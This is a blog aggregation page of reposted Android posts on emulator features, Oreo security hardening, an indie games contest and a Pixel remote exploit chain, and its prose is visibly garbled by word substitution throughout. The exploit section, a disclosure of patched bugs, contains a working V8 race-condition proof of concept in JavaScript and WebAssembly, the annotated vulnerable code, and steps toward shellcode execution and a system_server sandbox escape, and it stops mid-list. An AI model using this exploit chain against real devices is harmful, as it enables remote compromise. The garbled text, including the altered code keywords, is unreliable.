Showing posts with label Android. Show all posts
Showing posts with label Android. Show all posts

Friday, October 26, 2018

Quick Kicking & The Summit Features Inwards The Android Emulator

Posted past times Jamal Eason, Product Manager, Android

Today, nosotros are excited to denote Quick Boot for the Android Emulator. With Quick Boot, y'all tin sack launch the Android Emulator inwards nether half dozen seconds. Quick Boot industrial plant past times snapshotting an emulator session therefore y'all tin sack reload inwards seconds. Quick Boot was showtime released amongst Android Studio 3.0 inwards the canary update channel in addition to nosotros are excited to unloose the characteristic equally a stable update today.

In improver to this novel feature, nosotros also wanted to highlight unopen to of the top features from recent releases. Since the consummate revamp of the Android Emulator two years ago, nosotros choke on to focus on improving speed, stability in addition to adding a rich gear upwardly of features that accelerate your app evolution in addition to testing. With all the recent changes, it is definitely worth updating to the latest version of the Android Emulator to role it today.

Top v Features

  • Quick Boot - Released equally a stable characteristic today, Quick Boot allows y'all to resume your Android Emulator session inwards nether half dozen seconds. The showtime fourth dimension y'all begin an Android Virtual Device (AVD) amongst the Android Emulator, it must perform a mutual depression temperature kicking (just similar powering on a device), but subsequent starts are fast in addition to the organisation is restored to the nation at which y'all closed the emulator finally (similar to waking a device). We accomplished this past times completely re-engineering the legacy emulator snapshot architecture to locomote amongst virtual sensors in addition to GPU acceleration. No additional setup is required because Quick Boot is enabled past times default starting amongst Android Emulator v27.0.2.

Quick Boot inwards the Android Emulator

  • Android CTS Compatibility - With each unloose of the Android SDK, nosotros ensure that the Android Emulator is create for your app evolution needs, from testing backwards compatibility amongst Android KitKat to integrating the latest APIs of the developer preview. To increase production character in addition to reliability of emulator organisation images, nosotros at 1 time qualify terminal Android System Image builds from Android Nougat (API 24) in addition to higher against the Android Compatibility Test Suite (CTS)—the same testing suite that official Android physical devices must pass.
  • Google Play Support - We know that many app developers role Google Play Services, in addition to it tin sack live on hard to maintain the service upwardly to appointment inwards the Android Emulator organisation images. To solve this problem, nosotros at 1 time offering versions of Android System Images that include the Play Store app. The Google Play images are available starting amongst Android Nougat (API 24). With these novel emulator images, y'all tin sack update Google Play Services via the Play Store app inwards your emulator only equally y'all would on a physical Android device. Plus, y'all tin sack at 1 time examination end-to-end install, update, in addition to buy flows amongst the Google Play Store.
  • Performance Improvements - Making the emulator fast in addition to performant is an on-going destination for our team. We continuously await at the functioning comport on of running the emulator on your evolution machine, peculiarly RAM usage. With the latest versions of the Android Emulator, nosotros at 1 time allocate RAM on demand, instead of allocating in addition to pinning the retentivity to the max RAM size defined inwards your AVD. We produce this past times tapping into the native hypervisors for Linux (KVM) in addition to macOS® (Hypervisor.Framework), in addition to an enhanced Intel® HAXM (v6.2.1 in addition to higher) for Microsoft® Windows®, which uses the novel on-demand retentivity allocation.
  • Additionally, over the finally several releases, nosotros accept improved CPU in addition to I/O functioning land enhancing GPU performance, including OpenGL ES 3.0 support. Looking at a mutual job such equally ADB force highlights the improvements inwards the Android CPU in addition to I/O pipelines:

    ADB Push Speed Comparison amongst Android Emulator

    For GPU performance, nosotros created a sample GPU emulation stress examination app to approximate improvements over time. We institute that the latest emulator tin sack homecoming higher frame rates than before, in addition to it is 1 of the few emulators that tin sack homecoming OpenGL ES 3.0 accurately per the Android specification.

GPU Emulation Stress Test - Android App

GPU Emulation Stress Test amongst Android Emulator

More Features

In improver to these major features, at that spot are a whole host of additional features that nosotros accept added to the Android Emulator over the finally yr that y'all may non live on aware of:

  • Wi-Fi support - Starting amongst API 24 organisation images, y'all tin sack create an AVD that both connects to a virtual cellular network in addition to a virtual Wi-Fi Access Point.
  • Google Cast back upwardly - When using a Google Play organisation image, y'all tin sack cast concealment in addition to good content to Chromecast devices on the same Wi-Fi network.
  • Drag in addition to driblet APKs & files - Simply drag an APK onto the Android Emulator window to trigger an app install. Also y'all tin sack drag whatsoever other information file in addition to honour it inwards the /Downloads folder inwards your Android Virtual Device.
  • Host re-create & glue - You tin sack re-create & glue text betwixt the Android Emulator in addition to your evolution machine.
  • Virtual 2-finger pinch & zoom - When interacting amongst apps similar Google Maps, concur downward the Ctrl Key (on Microsoft® Windows® or Linux) or ⌘ (on macOS® ) , in addition to a finger overlay appears on concealment to aid amongst pinch & zoom actions.
  • GPS place - Manually direct a GPS signal or gear upwardly of GPS points nether the Location tab of the Android Emulator.
  • Virtual sensors - There is a dedicated page inwards the extended controls panel that has supported sensors inwards the Android Emulator including acceleration, rotation, proximity in addition to many more.
  • WebCam back upwardly - You tin sack role a webcam or your laptop built-in webcam equally a virtual photographic telly camera inwards the AVD. Validate your AVD photographic telly camera settings inwards the Advanced Settings page inwards the AVD Manager.
  • Host machine keyboard - You tin sack role your existent keyboard to larn into text into the Android Virtual Device.
  • Virtual SMS in addition to telephone calls - In the extended controls panel, y'all tin sack trigger a virtual SMS or telephone phone telephone to examination apps amongst telephony dependencies.
  • Screen zooming - On the master copy toolbar, click on the magnify drinking glass icon to larn into zoom mode, in addition to and therefore direct a part of the concealment y'all wish to inspect.
  • Window resizing - Simply drag a corner of the Android Emulator window to modify to the desired size.
  • Network proxy support - Add a custom HTTP proxy for your Android Emulator session past times going to the Settings page nether the Proxy tab.
  • Bug reporting - You tin sack speedily generate a põrnikas study for your app past times using the Bug Report department inwards the extended controls panel to percentage amongst your squad or to post feedback to Google.

Learn to a greater extent than well-nigh the Android Emulator inwards the Emulator documentation.

Getting Started

All of these features in addition to improvements are available to download in addition to role at 1 time amongst Android Emulator v27.0.2+, which y'all tin sack larn via the SDK Manager inwards Android Studio. For a fast experience, nosotros recommend creating in addition to running the x86 version of emulator organisation images, amongst the latest Android Emulator, Intel® HAXM (if applicable) in addition to graphics drivers installed.

We appreciate whatsoever feedback on things y'all like, issues or features y'all would similar to see. If y'all honour a bug, issue, or accept a characteristic asking experience complimentary to file an issue. We are definitely non done, but nosotros promise y'all are excited well-nigh the improvements therefore far.

Double Stuffed Safety Inwards Android Oreo

Double Stuffed Safety Inwards Android Oreo

Posted past times Gian G Spicuzza, Android Security team

Android Oreo is stuffed total of safety enhancements. Over the past times few months, we've covered how we've improved the safety of the Android platform together with its applications: from making it safer to larn apps, dropping insecure network protocols, providing to a greater extent than user command over identifiers, hardening the kernel, making Android easier to update, all the mode to doubling the Android Security Rewards payouts. Now that Oreo is out the door, let's conduct maintain a await at all the goodness inside.

Expanding back upwards for hardware security

Android already supports Verified Boot, which is designed to foreclose devices from booting upwards alongside software that has been tampered with. In Android Oreo, nosotros added a reference implementation for Verified Boot running alongside Project Treble, called Android Verified Boot 2.0 (AVB). AVB has a brace of cool features to brand updates easier together with to a greater extent than secure, such equally a mutual footer format together with rollback protection. Rollback protection is designed to foreclose a device to kick if downgraded to an older OS version, which could survive vulnerable to an exploit. To exercise this, the devices salvage the OS version using either special hardware or past times having the Trusted Execution Environment (TEE) sign the data. Pixel 2 together with Pixel 2 XL come upwards alongside this protection together with nosotros recommend all device manufacturers add together this characteristic to their novel devices.

Oreo also includes the novel OEM Lock Hardware Abstraction Layer (HAL) that gives device manufacturers to a greater extent than flexibility for how they protect whether a device is locked, unlocked, or unlockable. For example, the novel Pixel phones work this HAL to travel past times commands to the bootloader. The bootloader analyzes these commands the side past times side fourth dimension the device boots together with determines if changes to the locks, which are securely stored inward Replay Protected Memory Block (RPMB), should happen. If your device is stolen, these safeguards are designed to foreclose your device from beingness reset together with to perish along your information secure. This novel HAL fifty-fifty supports moving the lock dry soil to dedicated hardware.

Speaking of hardware, we've invested back upwards inward tamper-resistant hardware, such equally the security module works life inward every Pixel 2 together with Pixel 2 XL. This physical chip prevents many software together with hardware attacks together with is also resistant to physical penetration attacks. The safety module prevents deriving the encryption fundamental without the device's passcode together with limits the charge per unit of measurement of unlock attempts, which makes many attacks infeasible due to fourth dimension restrictions.

While the novel Pixel devices conduct maintain the special safety module, all novel GMS devices transportation alongside Android Oreo are required to implement key attestation. This provides a machinery for strongly attesting IDs such equally hardware identifiers.

We added novel features for enterprise-managed devices equally well. In piece of work profiles, encryption keys are straightaway ejected from RAM when the profile is off or when your company's admin remotely locks the profile. This helps secure enterprise information at rest.

Platform hardening together with procedure isolation

As constituent of Project Treble, the Android framework was re-architected to brand updates easier together with less costly for device manufacturers. This separation of platform together with vendor-code was also designed to improve security. Following the principle of to the lowest degree privilege, these HALs run inward their own sandbox together with solely conduct maintain access to the drivers together with permissions that are absolutely necessary.

Continuing alongside the media stack hardening inward Android Nougat, nearly direct hardware access has been removed from the media frameworks inward Oreo resulting inward improve isolation. Furthermore, we've enabled Control Flow Integrity (CFI) across all media components. Most vulnerabilities today are exploited past times subverting the normal command catamenia of an application, instead changing them to perform arbitrary malicious activities alongside all the privileges of the exploited application. CFI is a robust safety machinery that disallows arbitrary changes to the master copy command catamenia graph of a compiled binary, making it significantly harder to perform such attacks.

In add-on to these architecture changes together with CFI, Android Oreo comes alongside a feast of other tasty platform safety enhancements:

  • Seccomp filtering: makes some unused syscalls unavailable to apps together with so that they can't survive exploited past times potentially harmful apps.
  • Hardened usercopy: Influenza A virus subtype H5N1 recent survey of safety bugs on Android revealed that invalid or missing bounds checking was seen inward unopen to 45% of substance vulnerabilities. We've backported a bounds checking characteristic to Android kernels 3.18 together with above, which makes exploitation harder piece also helping developers location issues together with laid upwards bugs inward their code.
  • Privileged Access Never (PAN) emulation: Also backported to 3.18 kernels together with above, this characteristic prohibits the substance from accessing user infinite direct together with ensures developers utilize the hardened functions to access user space.
  • Kernel Address Space Layout Randomization (KASLR): Although Android has supported userspace Address Space Layout Randomization (ASLR) for years, we've backported KASLR to assistance mitigate vulnerabilities on Android kernels 4.4 together with newer. KASLR works past times randomizing the location where substance code is loaded on each boot, making code reuse attacks probabilistic together with thence to a greater extent than hard to deport out, particularly remotely.

App safety together with device identifier changes

Android Instant Apps run inward a restricted sandbox which limits permissions together with capabilities such equally reading the on-device app listing or transmitting cleartext traffic. Although introduced during the Android Oreo release, Instant Apps supports devices running Android Lollipop together with later.

In society to grip untrusted content to a greater extent than safely, we've isolated WebView past times splitting the rendering engine into a form procedure together with running it within an isolated sandbox that restricts its resources. WebView also supports Safe Browsing to protect against potentially unsafe sites.

Lastly, we've made significant changes to device identifiers to give users to a greater extent than control, including:

  • Moving the static Android ID together with Widevine values to an app-specific value, which helps boundary the work of device-scoped non-resettable IDs.
  • In accordance alongside IETF RFC 7844 anonymity profile, net.hostname is straightaway empty together with the DHCP customer no longer sends a hostname.
  • For apps that postulate a device ID, we've built a Build.getSerial() API together with protected it behind a permission.
  • Alongside safety researchers1, nosotros designed a robust MAC address randomization for Wi-Fi scan traffic inward diverse chipsets firmware.

Android Oreo brings inward all of these improvements, together with many more. As always, nosotros appreciate feedback together with welcome suggestions for how nosotros tin improve Android. Contact us at security@android.com.

_____________________________________________________________________

1: Glenn Wilkinson together with squad at Sensepost, UK, Célestin Matte, Mathieu Cunche: University of Lyon, INSA-Lyon, CITI Lab, Inria Privatics, Mathy Vanhoef, KU Leuven

Wednesday, October 24, 2018

Meet The Finalists Of The Google Play Indie Games Challenger Inwards Europe

Posted yesteryear Adriana Puchianu, Developer Marketing Google Play

Back inwards Oct nosotros launched the 2d edition of the Google Play Indie Games Contest inwards Europe, amongst the aim to identify, showcase in addition to vantage indie gaming talent from to a greater extent than than xxx countries. We were amazed yesteryear the excogitation in addition to inventiveness that indie developers from the share bring to offer.

Selecting but xx finalists has ane time once to a greater extent than been a huge challenge. We had a lot of fun playing the games that volition larn on to showcase at the Saatchi Gallery on February 13th inwards London. Without farther ado, nosotros are happy to denote the Top xx finalists of this year's edition. Congratulations to the finalists in addition to cheers to everyone else who has entered the contest.

A Planet of Mine
Tuesday Quest
France

Bridge Constructor Portal
ClockStone Softwareentwicklung GmbH
Austria

Bury me, my Love
Playdius
France

Captain Tom Galactic Traveler
Picodongames
France

Core
FURYJAM
Russian Federation

Flat Pack
Nitrome
United Kingdom

Fern Flower
Macaque
Poland

I Love Hue
Zut!
United Kingdom

Jodeo
Gamebra.in
Turkey

Kami 2
State of Play
United Kingdom

Kenshō
FIFTYTWO
Russia

No More Buttons
Tommy Søreide Kjær
Norway

Old Man's Journey
Broken Rules Interactive Media GmbH
Austria

Radium 2 | Ra²
Developster
Germany

The Big Journey
Catfishbox
Ukraine

The House of Da Vinci
Blue Brain Games, s.r.o.
Slovakia

The Office Quest
11Sheep
Israel

Unbalance
TVEE
Turkey

Undervault
Andriy Bychkovskyi
Ukraine

yellow
Bart Bonte
Belgium

Check out the prizes

All the xx finalists are getting:

  • A paid trip to London to showcase their game at the Final held at Saatchi Gallery
  • Inclusion of their game on a promotional billboard inwards London for 1 month
  • Inclusion of their game inwards a dedicated Indie Games Contest collection on the Indie Corner for ane calendar month inwards to a greater extent than than twoscore countries across EMEA
  • Two (2) tickets to attend a 2018 Playtime event, an invitation-only final result for transcend apps in addition to games developers on Google Play
  • One (1) Pixel 2 device

They volition besides bring the jeopardy to win more prizes at the terminal event.

Join the Google Play squad in addition to the finalists at the terminal event:

Anyone tin dismiss straightaway register to attend the final showcase event for gratuitous at the Saatchi Gallery inwards London on 13 Feb 2018. Come in addition to play roughly nifty games in addition to bring fun amongst indie developers, manufacture experts, in addition to the Google Play team.

How useful did you lot notice this blogpost?
★ ★ ★ ★ ★
Android Safety Ecosystem Investments Pay Dividends For Pixel

Android Safety Ecosystem Investments Pay Dividends For Pixel

Posted past times Mayank Jain in addition to Scott Roberts of the Android Security team

In June 2017, the Android safety squad increased the top payouts for the Android Security Rewards (ASR) plan in addition to worked amongst researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the commencement working remote exploit chain since the ASR program's expansion. For his detailed report, Gong was awarded $105,000, which is the highest vantage inwards the history of the ASR plan in addition to $7500 past times Chrome Rewards program for a total of $112,500. The consummate laid of issues was resolved equally portion of the December 2017 monthly safety update. Devices amongst the safety patch marker of 2017-12-05 or afterward are protected from these issues.

All Pixel devices or partner devices using A/B (seamless) arrangement updates volition automatically install these updates; users must restart their devices to consummate the installation.

The Android Security squad would similar to give cheers Guang Gong in addition to the researcher community for their contributions to Android security. If you'd similar to participate inwards Android Security Rewards program, banking concern check out our Program rules. For tips on how to submit reports, run across Bug Hunter University.

The next article is a invitee weblog ship authored past times Guang Gong of Alpha team, Qihoo 360 Technology Ltd.

Technical details of a Pixel remote exploit chain

The Pixel telephone is protected past times many layers of security. It was the alone device that was non pwned inwards the CVE-2017-5116 is a V8 engine põrnikas that is used to larn remote code execution inwards sandboxed Chrome homecoming process. CVE-2017-14904 is a põrnikas inwards Android's libgralloc module that is used to escape from Chrome's sandbox. Together, this exploit chain tin endure used to inject arbitrary code into system_server past times accessing a malicious URL inwards Chrome. To reproduce the exploit, an event vulnerable environs is Chrome 60.3112.107 + Android 7.1.2 (Security patch marker 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys). 

The RCE põrnikas (CVE-2017-5116)

New features commonly convey novel bugs. V8 6.0 introduces back upward for SharedArrayBuffer, a low-level machinery to portion retention betwixt JavaScript workers in addition to synchronize command menstruation across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, in addition to futexes. WebAssembly is a novel type of code that tin endure run inwards modern spider web browsers— it is a low-level assembly-like linguistic communication amongst a compact binary format that runs amongst near-native performance in addition to provides languages, such equally C/C++, amongst a compilation target thence that they tin run on the web. By combining the iii features, SharedArrayBuffer WebAssembly, in addition to spider web worker inwards Chrome, an OOB access tin endure triggered through a race condition. Simply speaking, WebAssembly code tin endure lay into a SharedArrayBuffer in addition to and thence transferred to a spider web worker. When the nous thread parses the WebAssembly code, the worker thread tin modify the code at the same time, which causes an OOB access.

The buggy code is inwards the portion GetFirstArgumentAsBytes where the declaration args may endure an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may endure backed past times a SharedArraybuffer, thence the content of the TypedArray may endure modified past times other worker threads at whatever time.

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(     const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {   ......   } else if (source->IsTypedArray()) {    //--->source should endure checked if it's backed past times a SharedArrayBuffer     // H5N1 TypedArray was passed.     Local<TypedArray> array = Local<TypedArray>::Cast(source);     Local<ArrayBuffer> buffer = array->Buffer();     ArrayBuffer::Contents contents = buffer->GetContents();     start =         reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();     length = array->ByteLength();   }    ......   homecoming i::wasm::ModuleWireBytes(start, start + length); } 

H5N1 unproblematic PoC is equally follows:

<html> <h1>poc</h1> <script id="worker1"> worker:{        self.onmessage = function(arg) {         console.log("worker started");         var ta = novel Uint8Array(arg.data);         var i =0;         while(1){             if(i==0){                 i=1;                 ta[51]=0;   //--->4)modify the webassembly code at the same fourth dimension             }else{                 i=0;                 ta[51]=128;             }         }     } } </script> <script> portion getSharedTypedArray(){     var wasmarr = [         0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,         0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,         0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,         0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,         0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,         0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,         0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];     var sb = novel SharedArrayBuffer(wasmarr.length);           //---> 1)put WebAssembly code inwards a SharedArrayBuffer     var sta = novel Uint8Array(sb);     for(var i=0;i<sta.length;i++)         sta[i]=wasmarr[i];     homecoming sta;     } var blob = novel Blob([         document.querySelector('#worker1').textContent         ], { type: "text/javascript" })  var worker = novel Worker(window.URL.createObjectURL(blob));   //---> 2)create a spider web worker var sta = getSharedTypedArray(); worker.postMessage(sta.buffer);                              //--->3)pass the WebAssembly code to the spider web worker setTimeout(function(){         while(1){         try{         sta[51]=0;         var myModule = novel WebAssembly.Module(sta);          //--->4)parse the WebAssembly code         var myInstance = novel WebAssembly.Instance(myModule);         //myInstance.exports.getAnswerPlus1();         }catch(e){         }         }     },1000);  //worker.terminate();  </script> </html> 

The text format of the WebAssembly code is equally follows:

00002b func[0]: 00002d: 41 2a                      | i32.const 42 00002f: 0b                         | terminate 000030 func[1]: 000032: 10 00                      | telephone telephone 0 000034: 41 01                      | i32.const 1 000036: 6a                         | i32.add 000037: 0b                         | terminate 

First, the inwards a higher house binary format WebAssembly code is lay into a SharedArrayBuffer, in addition to thence a TypedArray Object is created, using the SharedArrayBuffer equally buffer. After that, a worker thread is created in addition to the SharedArrayBuffer is passed to the newly created worker thread. While the nous thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race status causes a TOCTOU issue. After the nous thread's boundary check, the teaching " telephone telephone 0" tin endure modified past times the worker thread to "call 128" in addition to and thence endure parsed in addition to compiled past times the nous thread, thence an OOB access occurs.

Because the "call 0" Web Assembly teaching tin endure modified to telephone telephone whatever other Web Assembly functions, the exploitation of this põrnikas is straightforward. If "call 0" is modified to "call $leak", registers in addition to stack contents are dumped to Web Assembly memory. Because portion 0 in addition to portion $leak own got a dissimilar number of arguments, this results inwards many useful pieces of information inwards the stack beingness leaked.

 (func $leak(param i32 i32 i32 i32 i32 i32)(result i32)     i32.const 0     get_local 0     i32.store     i32.const iv     get_local 1     i32.store     i32.const 8     get_local 2     i32.store     i32.const 12     get_local 3     i32.store     i32.const xvi     get_local iv     i32.store     i32.const twenty     get_local v     i32.store     i32.const 0   )) 

Not alone the teaching "call 0" tin endure modified, whatever "call funcx" teaching tin endure modified. Assume funcx is a wasm portion amongst 6 arguments equally follows, when v8 compiles funcx inwards ia32 architecture, the commencement v arguments are passed through the registers in addition to the 6th declaration is passed through stack. All the arguments tin endure laid to whatever value past times JavaScript:

/*Text format of funcx*/  (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)     get_local v     get_local iv     i32.add)  /*Disassembly code of funcx*/ --- Code --- variety = WASM_FUNCTION holler = wasm#1 compiler = turbofan Instructions (size = 20) 0x58f87600     0  8b442404       mov eax,[esp+0x4] 0x58f87604     iv  03c6           add together eax,esi 0x58f87606     6  c20400         ret 0x4 0x58f87609     nine  0f1f00         nop  Safepoints (size = 8)  RelocInfo (size = 0)  --- End code --- 

When a JavaScript portion calls a WebAssembly function, v8 compiler creates a JS_TO_WASM portion internally, after compilation, the JavaScript portion volition telephone telephone the created JS_TO_WASM portion in addition to and thence the created JS_TO_WASM portion volition telephone telephone the WebAssembly function. JS_TO_WASM functions usage dissimilar telephone telephone convention, its commencement arguments is passed through stack. If "call funcx" is modified to telephone telephone the next JS_TO_WASM function.

/*Disassembly code of JS_TO_WASM portion */ --- Code --- variety = JS_TO_WASM_FUNCTION holler = js-to-wasm#0 compiler = turbofan Instructions (size = 170) 0x4be08f20     0  55             force ebp 0x4be08f21     1  89e5           mov ebp,esp 0x4be08f23     3  56             force esi 0x4be08f24     iv  57             force edi 0x4be08f25     v  83ec08         sub esp,0x8 0x4be08f28     8  8b4508         mov eax,[ebp+0x8] 0x4be08f2b     b  e8702e2bde     telephone telephone 0x2a0bbda0  (ToNumber)    ;; code: BUILTIN 0x4be08f30    10  a801           bear witness al,0x1 0x4be08f32    12  0f852a000000   jnz 0x4be08f62  <+0x42> 

The JS_TO_WASM portion volition accept the 6th arguments of funcx equally its commencement argument, but it takes its commencement declaration equally an object pointer, thence type confusion volition endure triggered when the declaration is passed to the ToNumber function, which agency nosotros tin travel past times whatever values equally an object pointer to the ToNumber function. So nosotros tin mistaken an ArrayBuffer object inwards some address such equally inwards a double array in addition to travel past times the address to ToNumber. The layout of an ArrayBuffer is equally follows:

/* ArrayBuffer layouts forty Bytes*/                                                                                                                          Map                                                                                                                                                        Properties                                                                                                                                                 Elements                                                                                                                                                   ByteLength                                                                                                                                                 BackingStore                                                                                                                                               AllocationBase                                                                                                                                             AllocationLength                                                                                                                                           Fields                                                                                                                                                     internal                                                                                                                                                   internal                                                                                                                                                                                                                                                                                                         /* Map layouts 44 Bytes*/                                                                                                                                    static kMapOffset = 0,                                                                                                                                     static kInstanceSizesOffset = 4,                                                                                                                           static kInstanceAttributesOffset = 8,                                                                                                                      static kBitField3Offset = 12,                                                                                                                              static kPrototypeOffset = 16,                                                                                                                              static kConstructorOrBackPointerOffset = 20,                                                                                                               static kTransitionsOrPrototypeInfoOffset = 24,                                                                                                             static kDescriptorsOffset = 28,                                                                                                                            static kLayoutDescriptorOffset = 1,                                                                                                                        static kCodeCacheOffset = 32,                                                                                                                              static kDependentCodeOffset = 36,                                                                                                                          static kWeakCellCacheOffset = 40,                                                                                                                          static kPointerFieldsBeginOffset = 16,                                                                                                                     static kPointerFieldsEndOffset = 44,                                                                                                                       static kInstanceSizeOffset = 4,                                                                                                                            static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5,                                                                                            static kUnusedOffset = 6,                                                                                                                                  static kVisitorIdOffset = 7,                                                                                                                               static kInstanceTypeOffset = 8,     //one byte                                                                                                             static kBitFieldOffset = 9,                                                                                                                                static kInstanceTypeAndBitFieldOffset = 8,                                                                                                                 static kBitField2Offset = 10,                                                                                                                              static kUnusedPropertyFieldsOffset = xi 

Because the content of the stack tin endure leaked, nosotros tin larn many useful information to mistaken the ArrayBuffer. For example, nosotros tin leak the start address of an object, in addition to calculate the start address of its elements, which is a FixedArray object. We tin usage this FixedArray object equally the faked ArrayBuffer's properties in addition to elements fields. We own got to mistaken the map of the ArrayBuffer too, luckily, most of the fields of the map are non used when the põrnikas is triggered. But the InstanceType inwards offset 8 has to endure laid to 0xc3(this value depends on the version of v8) to dot this object is an ArrayBuffer. In companionship to larn a reference of the faked ArrayBuffer inwards JavaScript, nosotros own got to laid the Prototype plain of Map inwards offset xvi to an object whose Symbol.toPrimitive holding is a JavaScript telephone telephone dorsum function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the telephone telephone dorsum portion volition endure called, thence nosotros tin larn a reference of the faked ArrayBuffer inwards the telephone telephone dorsum function. Because the ArrayBuffer is faked inwards a double array, the content of the array tin endure laid to whatever value, thence nosotros tin alter the plain BackingStore in addition to ByteLength of the faked array buffer to larn arbitrary retention read in addition to write. With arbitrary retention read/write, executing shellcode is simple. As JIT Code inwards Chrome is readable, writable in addition to executable, nosotros tin overwrite it to execute shellcode.

Chrome squad fixed this põrnikas real chop-chop inwards chrome 61.0.3163.79, merely a calendar week after I submitted the exploit.

The EoP Bug (CVE-2017-14904)

The sandbox escape põrnikas is caused past times map in addition to unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is inwards the functions gralloc_map in addition to gralloc_unmap:

static int gralloc_map(gralloc_module_t const* module,                        buffer_handle_t handle) { ……     private_handle_t* hnd = (private_handle_t*)handle;     ……     if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&         !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {         size = hnd->size;         err = memalloc->map_buffer(&mappedAddress, size,                                        hnd->offset, hnd->fd);        //---> mapped an ashmem in addition to larn the mapped address. the ashmem fd in addition to offset tin endure controlled past times Chrome homecoming process.         if(err || mappedAddress == MAP_FAILED) {             ALOGE("Could non mmap grip %p, fd=%d (%s)",                   handle, hnd->fd, strerror(errno));             homecoming -errno;         }         hnd->base = uint64_t(mappedAddress) + hnd->offset;          //---> salvage mappedAddress+offset to hnd->base     } else {         err = -EACCES; } ……     homecoming err; } 

gralloc_map maps a graphic buffer controlled past times the arguments grip to retention infinite in addition to gralloc_unmap unmaps it. While mapping, the mappedAddress summation hnd->offset is stored to hnd->base, but piece unmapping, hnd->base is passed to arrangement telephone telephone unmap direct minus the offset. hnd->offset tin endure manipulated from a Chrome's sandboxed process, thence it's possible to unmap whatever pages inwards system_server from Chrome's sandboxed homecoming process.

static int gralloc_unmap(gralloc_module_t const* module,                          buffer_handle_t handle) {   ……     if(hnd->base) {         err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset);    //---> piece unmapping, hnd->offset is non used, hnd->base is used equally the base of operations address, map in addition to unmap are mismatched.         if (err) {             ALOGE("Could non unmap retention at address %p, %s", (void*) hnd->base,                     strerror(errno));             homecoming -errno;         }         hnd->base = 0; } ……     homecoming 0; }  int IonAlloc::unmap_buffer(void *base, unsigned int size,         unsigned int /*offset*/)                               //---> look, offset is non used past times unmap_buffer {     int err = 0;     if(munmap(base, size)) {         err = -errno;         ALOGE("ion: Failed to unmap retention at %p : %s",               base, strerror(errno));     }     homecoming err; } 

Although SeLinux restricts the domain isolated_app to access most of Android arrangement service, isolated_app tin even thence access iii Android arrangement services.

52neverallow isolated_app { 53    service_manager_type 54    -activity_service 55    -display_service 56    -webviewupdate_service 57}:service_manager find; 

To trigger the aforementioned Use-After-Unmap põrnikas from Chrome's sandbox, commencement lay a GraphicBuffer object, which is parseable into a bundle, in addition to and thence telephone telephone the binder method convertToTranslucent of IActivityManager to travel past times the malicious packet to system_server. When system_server handles this malicious bundle, the põrnikas is triggered.

This EoP põrnikas targets the same assail surface equally the põrnikas inwards our 2016 MoSec presentation, Bitunmap, except exploiting it from a sandboxed Chrome homecoming procedure is to a greater extent than hard than from an app. 

To exploit this EoP bug:

1. Address infinite shaping. Make the address infinite layout await equally follows, a heap chunk is correct inwards a higher house some continuous ashmem mapping:

7f54600000-7f54800000 rw-p 00000000 00:00 0           [anon:libc_malloc] 7f58000000-7f54a00000 rw-s 001fe000 00:04 32783         /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781         /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779         /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777         /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775         /dev/ashmem/360alpha25 (deleted) ...... 

2. Unmap portion of the heap (1 KB) in addition to portion of an ashmem retention (2MB–1KB) past times triggering the bug:

7f54400000-7f54600000 rw-s 00000000 00:04 31603         /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc] //--->There is a 2MB retention gap 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted) 

3. Fill the unmapped infinite amongst an ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603      /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605       /dev/ashmem/360alpha1001 (deleted)   //--->The gap is filled amongst the ashmem retention 360alpha1001 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783      /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781      /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779      /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777      /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775      /dev/ashmem/360alpha25 (deleted) 

4. Spray the heap in addition to the heap information volition endure written to the ashmem memory:

